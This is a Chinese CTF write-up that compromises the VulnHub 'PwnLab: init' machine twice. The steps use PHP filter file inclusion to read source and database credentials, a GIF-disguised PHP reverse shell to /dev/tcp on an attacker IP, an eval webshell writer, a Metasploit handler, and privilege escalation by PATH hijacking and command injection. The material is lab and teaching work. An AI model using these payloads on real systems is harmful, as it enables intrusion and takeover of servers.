前言
本文所使用的工具可参考以下仓库:
Awesome_Pentest_Tools: 一站式渗透测试与红队工具合集,旨在帮助渗透测试人员打造自己的工具链
这是一个来自 VulnHub 的靶机项目。
**靶机地址:**https://www.vulnhub.com/entry/pwnlab-init,158/
**难度级别:**Low
注:flag位于/root/flag.txt
靶机描述:
Wellcome to “PwnLab: init”, my first Boot2Root virtual machine. Meant to be easy, I hope you enjoy it and maybe learn something. The purpose of this CTF is to get root and read de flag.
欢迎来到“PwnLab: init”,这是我的第一个 Boot2Root 虚拟机。它旨在简单易上手,希望您玩得开心,并能从中有所收获。本次 CTF 的目标是获取 root 权限并读取 flag。
由于是课程作业,要求复现WP,所以本靶机我们将进行两轮攻击:
第一轮:复现 Writeup(WP)的方法操作,完成课程要求。
第二轮:结合自身理解与技巧,尝试更高效或独特的解决方案。
第一轮
这一轮复现WP,解题步骤及描述仅作简单调整
首先不知道靶机的IP,我们要进行一下目标探测。netdiscover (kali自带的基于ARP协议的网段扫描工具)
这时候已经知道了目标的IP了。
信息收集,对它进行端口扫描,敏感目录、敏感文件扫描。
1 nmap -p - -A 192.168 .100.130
发现对方开放80web端口、3306mysql端口和RPC服务
先去80端口搞一波,看一下主页有三个选项:主页,登录和上传。
直接去上传功能的位置发现想上传必须要登陆,不是未授权访问的页面。 要登陆就需要账号密码,所以暂时搁置等其他线索。注意的一点是,在登陆以及上传的位置可能存在文件包含。就看这个参数有没有过滤,客户端 对这个可不可控。但是就算可能存在文件包含但是也有一个问题。在于有什么文件可以进行包含。
扫一扫路径下都有什么文件。找到有upload文件夹以及upload.php文件还有 config.php和index.php。这些文件:
现在再去判断一下是否存在我们刚才猜测的文件包含的问题。文件包含有很多协议。用其中的filter协议去看能否读出文件源码。(这里演示一下存在的带有后缀和不带后缀的问题)观察原本的结构也是不带有文件后缀的。
1 2 http:// 192.168 .100.130 /?page=php:/ /filter/ convert.base64encode/resource=config.php (错误) http:// 192.168 .100.130 /?page=php:/ /filter/ convert.base64-encode/resource=config (正确)
1 2 3 4 5 6 <?php $server = "localhost" ;$username = "root" ;$password = "H4u%QJ_H99" ;$database = "Users" ;?>
得出重要信息。得到了数据库的账号以及密码。同时结合刚刚在扫描端口 哪里发现了对方是开发3306mysql端口的所以。我们的突破点来了。去连接对方的数据库在里面有什么内容。
突破点来了,有三组账号,且对方的前端是存在登录页面的。而且是可以传文件的。三组账号是加密的但是可以很清楚的判定为base64加密,解密得到明文。
1 2 3 4 5 6 7 kent | Sld6WHVCSkpOeQ == mike | U0lmZHNURW42SQ == kane | aVN2NVltMkdSbw == Kent: JWzXuBJJNy Mike: SIfdsTEn6I Kane: iSv5Ym2GRo
可以上传文件了,因为现在有账号密码了。不出意外,不是任意文件上传。这个时候可以白盒也可以黑盒。因为有文件包含漏洞。可以去包含 upload.php去看源码有什么限制。
1 http:// 192.168 .100.130 /?page=php:/ /filter/ convert.base64-encode/resource=upload
允许.jpg”,”.jpeg”,”.gif”,”.png。检查文件头以及白名单后缀名以及mime类 型,上传后将文件名字重新命名。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php session_start ();if (!isset ($_SESSION ['user' ])) { die ('You must be log in.' ); }?> <html > <body > <form action ='' method ='post' enctype ='multipart/form-data' > <input type ='file' name ='file' id ='file' /> <input type ='submit' name ='submit' value ='Upload' /> </form > </body > </html > <?php if (isset ($_POST ['submit' ])) { if ($_FILES ['file' ]['error' ] <= 0 ) { $filename = $_FILES ['file' ]['name' ]; $filetype = $_FILES ['file' ]['type' ]; $uploaddir = 'upload/' ; $file_ext = strrchr ($filename , '.' ); $imageinfo = getimagesize ($_FILES ['file' ]['tmp_name' ]); $whitelist = array (".jpg" ,".jpeg" ,".gif" ,".png" ); if (!(in_array ($file_ext , $whitelist ))) { die ('Not allowed extension, please upload images only.' ); } if (strpos ($filetype ,'image' ) === false ) { die ('Error 001' ); } if ($imageinfo ['mime' ] != 'image/gif' && $imageinfo ['mime' ] != 'image/jpeg' && $imageinfo ['mime' ] != 'image/jpg' && $imageinfo ['mime' ] != 'image/png' ) { die ('Error 002' ); } if (substr_count ($filetype , '/' )>1 ){ die ('Error 003' ); } $uploadfile = $uploaddir . md5 (basename ($_FILES ['file' ]['name' ])).$file_ext ; if (move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $uploadfile )) { echo "<img src=\"" .$uploadfile ."\"><br />" ; } else { die ('Error 4' ); } } } ?>
接下来就是将反弹shell脚本加上GIF文件头,来混过getimagesize函数检测, 然后另存为.gif图片混过白名单以及mime类型检测,上传成功。
1 2 3 4 5 GIF98a<?php exec ("/bin/bash -c 'bash -i >& /dev/tcp/192.168.100.129/10086 0>&1'" );?>
先监听10086端口
图片马传上去了之后,要想办法取解析这个图片马,能想到的是解析漏 洞,在或者文件包含,但是在之前的文件包含的位置不能进行执行。去读取首页源码。得到突破点。
1 http:// 192.168 .100.130 /?page=php:/ /filter/ convert.base64-encode/resource=index
因为在page这个参数上面自动给你添加.php文件后缀名。这也是为什么之前 在利用文件包含时不加文件后缀的原因。在读取首页文件的源码,找到其他可利用的文件包含的位置和字段lang且位置在cookie字段里面。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php if (isset ($_COOKIE ['lang' ])){ include ("lang/" .$_COOKIE ['lang' ]); } ?> <html > <head > <title > PwnLab Intranet Image Hosting</title > </head > <body > <center > <img src ="images/pwnlab.png" > <br /> [ <a href ="/" > Home</a > ] [ <a href ="?page=login" > Login</a > ] [ <a href ="?page=upload" > Upload</a > ] <hr /> <br /> <?php if (isset ($_GET ['page' ])) { include ($_GET ['page' ].".php" ); } else { echo "Use this server to upload and share image files inside the intranet" ; } ?> </center > </body > </html >
截获upload页面的点击数据包。
获取到了shell会话。
还是id一下,不出意外,低等级权限,开始提权。shell看着难受,我们改一下shell。
1 python -c 'import pty; pty.spawn("/bin/bash" )'
切换用户。
起一个python服务器。
1 python2 -m SimpleHTTPServer
靶机拉取提权检测脚本。
提示没权限。找个有权限的目录。
1 find / -type d \( -perm -002 -o -perm -020 \) -ls
切换目录在下载,给文件权限执行shell提权脚本。
1 2 3 4 cd /tmp wget http://192.168.100.129 :8000 /LinEnum.sh chmod 777 LinEnum.sh./LinEnum.sh
一片红,没找到提权线索。
据我判断就是有什么可执行文件可以进行提权。
执行之后告诉我们没有这个文件或者目录,重点是用户目录变了,是 mike。
string命令扎到一行跟报错相关的问题。
报错提示该程序在没有完整路径的情况下调用cat
利用cat命令去查看 /home/mike/msg.txt,但是当前路径时kane的家目录是没有这个文件的
利用环境变量来提权。
查看我们当前的环境变量
在当前目录建立一个cat文件,将环境变量修改为当前家目录,
并将其覆盖掉原来的环境变量,这样路径就完整了。文件也就能执行了.重 点在于我们的用户变了。
1 2 3 4 echo "/bin/bash" > cat chmod 777 cat export PATH=/home/kane ./msgmike
切换了用户后首先先把环境变量在恢复。不然原来的命令就出现了问题
1 2 export PATH =/usr/local /sbin:/usr /local/bin :/usr/sbin :/usr/bin :/sbin :/bin echo $PATH
mike的用户里面也有一个文件,分析一下这个文件
发现输入记录到/root目录中的文本文件中。用户输入传递给/bin/echo命令, 并最终附加到root/messages.txt文件。回显输入后,使用命令注入来执行 Shell。Bash无法正常工作, 换成/bin/sh,获得了root shell。
第二轮 首先不知道靶机的IP,要进行一下目标探测
1 fscan .exe -h 192.168.230.0 /24
这时候已经知道了目标的IP了。
信息收集,对它进行端口扫描,敏感目录、敏感文件扫描。
1 fscan .exe -h 192.168.230.130 -p 1 -65535
发现对方开放80web端口、3306mysql端口和RPC服务
先去80端口搞一波,看一下主页有三个选项:主页,登录和上传。
直接去上传功能的位置发现想上传必须要登陆,不是未授权访问的页面。 要登陆就需要账号密码,所以暂时搁置等其他线索。注意的一点是,在登陆以及上传的位置可能存在文件包含。就看这个参数有没有过滤,客户端 对这个可不可控。但是就算可能存在文件包含但是也有一个问题。在于有什么文件可以进行包含。
扫一扫路径下都有什么文件。找到有upload文件夹以及upload.php文件还有 config.php和index.php。
这些文件:
现在再去判断一下是否存在我们刚才猜测的文件包含的问题。文件包含有很多协议。用其中的filter协议去看能否读出文件源码。(这里演示一下存在的带有后缀和不带后缀的问题)观察原本的结构也是不带有文件后缀的。
1 2 http:// 192.168 .230.130 /?page=php:/ /filter/ convert.base64encode/resource=config.php (错误) http:// 192.168 .230.130 /?page=php:/ /filter/ convert.base64-encode/resource=config (正确)
1 2 3 4 5 6 <?php $server = "localhost" ;$username = "root" ;$password = "H4u%QJ_H99" ;$database = "Users" ;?>
得出重要信息。得到了数据库的账号以及密码。同时结合刚刚在扫描端口 哪里发现了对方是开发3306mysql端口的所以。我们的突破点来了。去连接对方的数据库在里面有什么内容。
突破点来了,有三组账号,且对方的前端是存在登录页面的。而且是可以传文件的。
三组账号是加密的但是可以很清楚的判定为base64加密,解密得到明文。
1 2 3 4 5 6 kent | Sld6WHVCSkpOeQ == mike | U0lmZHNURW42SQ == kane | aVN2NVltMkdSbw == Kent: JWzXuBJJNy Mike: SIfdsTEn6I Kane: iSv5Ym2GRo
可以上传文件了,因为现在有账号密码了。不出意外,不是任意文件上传。这个时候可以白盒也可以黑盒。因为有文件包含漏洞。可以去包含 upload.php去看源码有什么限制。
1 http:// 192.168 .230.130 /?page=php:/ /filter/ convert.base64-encode/resource=upload
允许.jpg”,”.jpeg”,”.gif”,”.png。检查文件头以及白名单后缀名以及mime类 型,上传后将文件名字重新命名。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php session_start ();if (!isset ($_SESSION ['user' ])) { die ('You must be log in.' ); }?> <html > <body > <form action ='' method ='post' enctype ='multipart/form-data' > <input type ='file' name ='file' id ='file' /> <input type ='submit' name ='submit' value ='Upload' /> </form > </body > </html > <?php if (isset ($_POST ['submit' ])) { if ($_FILES ['file' ]['error' ] <= 0 ) { $filename = $_FILES ['file' ]['name' ]; $filetype = $_FILES ['file' ]['type' ]; $uploaddir = 'upload/' ; $file_ext = strrchr ($filename , '.' ); $imageinfo = getimagesize ($_FILES ['file' ]['tmp_name' ]); $whitelist = array (".jpg" ,".jpeg" ,".gif" ,".png" ); if (!(in_array ($file_ext , $whitelist ))) { die ('Not allowed extension, please upload images only.' ); } if (strpos ($filetype ,'image' ) === false ) { die ('Error 001' ); } if ($imageinfo ['mime' ] != 'image/gif' && $imageinfo ['mime' ] != 'image/jpeg' && $imageinfo ['mime' ] != 'image/jpg' && $imageinfo ['mime' ] != 'image/png' ) { die ('Error 002' ); } if (substr_count ($filetype , '/' )>1 ){ die ('Error 003' ); } $uploadfile = $uploaddir . md5 (basename ($_FILES ['file' ]['name' ])).$file_ext ; if (move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $uploadfile )) { echo "<img src=\"" .$uploadfile ."\"><br />" ; } else { die ('Error 4' ); } } } ?>
接下来就是将反弹shell脚本加上GIF文件头,来混过getimagesize函数检测, 然后另存为.gif图片混过白名单以及mime类型检测,上传成功。
1 2 3 4 5 GIF98a<?php fwrite (fopen ('1.php' ,'w' ),'<?php eval($_POST[1]);?>' );?>
图片马传上去了之后,要想办法取解析这个图片马,能想到的是解析漏 洞,在或者文件包含,但是在之前的文件包含的位置不能进行执行。去读取首页源码。得到突破点。
1 http:// 192.168 .230.130 /?page=php:/ /filter/ convert.base64-encode/resource=index
因为在page这个参数上面自动给你添加.php文件后缀名。这也是为什么之前 在利用文件包含时不加文件后缀的原因。在读取首页文件的源码,找到其他可利用的文件包含的位置和字段lang且位置在cookie字段里面。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php if (isset ($_COOKIE ['lang' ])){ include ("lang/" .$_COOKIE ['lang' ]); } ?> <html > <head > <title > PwnLab Intranet Image Hosting</title > </head > <body > <center > <img src ="images/pwnlab.png" > <br /> [ <a href ="/" > Home</a > ] [ <a href ="?page=login" > Login</a > ] [ <a href ="?page=upload" > Upload</a > ] <hr /> <br /> <?php if (isset ($_GET ['page' ])) { include ($_GET ['page' ].".php" ); } else { echo "Use this server to upload and share image files inside the intranet" ; } ?> </center > </body > </html >
截获upload页面的点击数据包。
蚁剑连接成功
这里我们上线msf
1 2 3 4 5 use exploit/multi/handler set payload /meterpreter/set set exploit
还是id一下,不出意外,低等级权限,开始提权。
shell看着难受,我们改为pty
1 python -c 'import pty; pty.spawn("/bin/bash" )'
切换用户。
起一个HTTP服务
直接去tmp目录,给文件权限执行shell提权脚本。
1 2 3 4 cd /tmp wget http://192.168.230.128 :8000 /LinEnum.sh chmod 777 LinEnum.sh./LinEnum.sh
一片红,没找到提权线索。
据我判断就是有什么可执行文件可以进行提权。
执行之后告诉我们没有这个文件或者目录,重点是用户目录变了,是 mike。
string命令扎到一行跟报错相关的问题。
报错提示该程序在没有完整路径的情况下调用cat
利用cat命令去查看 /home/mike/msg.txt,但是当前路径时kane的家目录是没有这个文件的
利用环境变量来提权。
查看我们当前的环境变量
在当前目录建立一个cat文件,将环境变量修改为当前家目录,
并将其覆盖掉原来的环境变量,这样路径就完整了。文件也就能执行了.重 点在于我们的用户变了。
1 2 3 4 echo "/bin/bash" > cat chmod 777 cat export PATH=/home/kane ./msgmike
切换了用户后首先先把环境变量在恢复。不然原来的命令就出现了问题
1 2 export PATH =/usr/local /sbin:/usr /local/bin :/usr/sbin :/usr/bin :/sbin :/bin echo $PATH
mike的用户里面也有一个文件,分析一下这个文件
发现输入记录到/root目录中的文本文件中。用户输入传递给/bin/echo命令, 并最终附加到root/messages.txt文件。回显输入后,使用命令注入来执行 Shell。Bash无法正常工作, 换成/bin/sh,获得了root shell。